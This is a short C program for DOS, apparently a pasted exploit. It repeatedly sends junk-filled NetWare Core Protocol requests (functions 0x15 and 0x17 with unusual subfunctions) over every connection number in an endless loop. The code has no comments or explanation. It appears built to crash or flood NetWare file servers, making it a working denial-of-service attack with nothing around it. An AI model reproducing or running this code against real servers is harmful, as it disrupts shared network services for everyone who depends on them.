rendered paste body#include <dpmi.h>
#include <go32.h>
#include <stdlib.h>
void DosAlloc
( _go32_dpmi_seginfo *hand, unsigned short bytes, unsigned short *seg,
unsigned short *off, unsigned long *lin )
{
hand->size = (bytes*2 + 15) / 16;
_go32_dpmi_allocate_dos_memory(hand);
*lin = hand->rm_segment << 4;
if ( (((*lin)&0xffff)+bytes) > 0xffff)
*lin = ((*lin)-((*lin)&0xffff)) + 0x10000;
*seg = (*lin) / 16;
*off = (*lin) % 16;
}
int ncp(int f,void *req,int rl,void *ans,int al)
{
__dpmi_regs r;
_go32_dpmi_seginfo handler,handler2;
unsigned long linear, linear2;
unsigned short segment, offset, segment2, offset2;
memset(&r,0,sizeof(r));
DosAlloc(&handler,rl,&segment,&offset,&linear);
DosAlloc(&handler2,al,&segment2,&offset2,&linear2);
r.x.cx=rl;
r.x.dx=al;
r.x.ds=segment;
r.x.si=offset;
dosmemput(req,rl,linear);
r.x.es=segment2;
r.x.di=offset2;
r.x.ax=0xf200|f;
__dpmi_int(0x21,&r);
_go32_dpmi_free_dos_memory(&handler);
_go32_dpmi_free_dos_memory(&handler2);
return(r.h.al);
}
int setconn(int c)
{_go32_dpmi_registers r;
memset(&r,0,sizeof(r));
r.x.ax=0xf000;
r.x.dx=c+1;
_go32_dpmi_simulate_int(0x21,&r);
}
void main()
{int i;
char *req=(char *)calloc(1,sizeof(char)*160);
unsigned char rep[100];
req[0]=0;
for (i=1;i<7;i++) req[i]=0xff;
for (i=9;i<160;i++) req[i]=i*i+i;
for(;;)
{
for (i=0;i<256;i++) setconn(i);
req[2]=0x00;
ncp(0x15,req,160,rep,100);
req[2]=0x0A;
ncp(0x15,req,160,rep,100);
req[2]=0xFD;
ncp(0x17,req,160,rep,100);
req[2]=0xD1;
ncp(0x17,req,160,rep,100);
}
}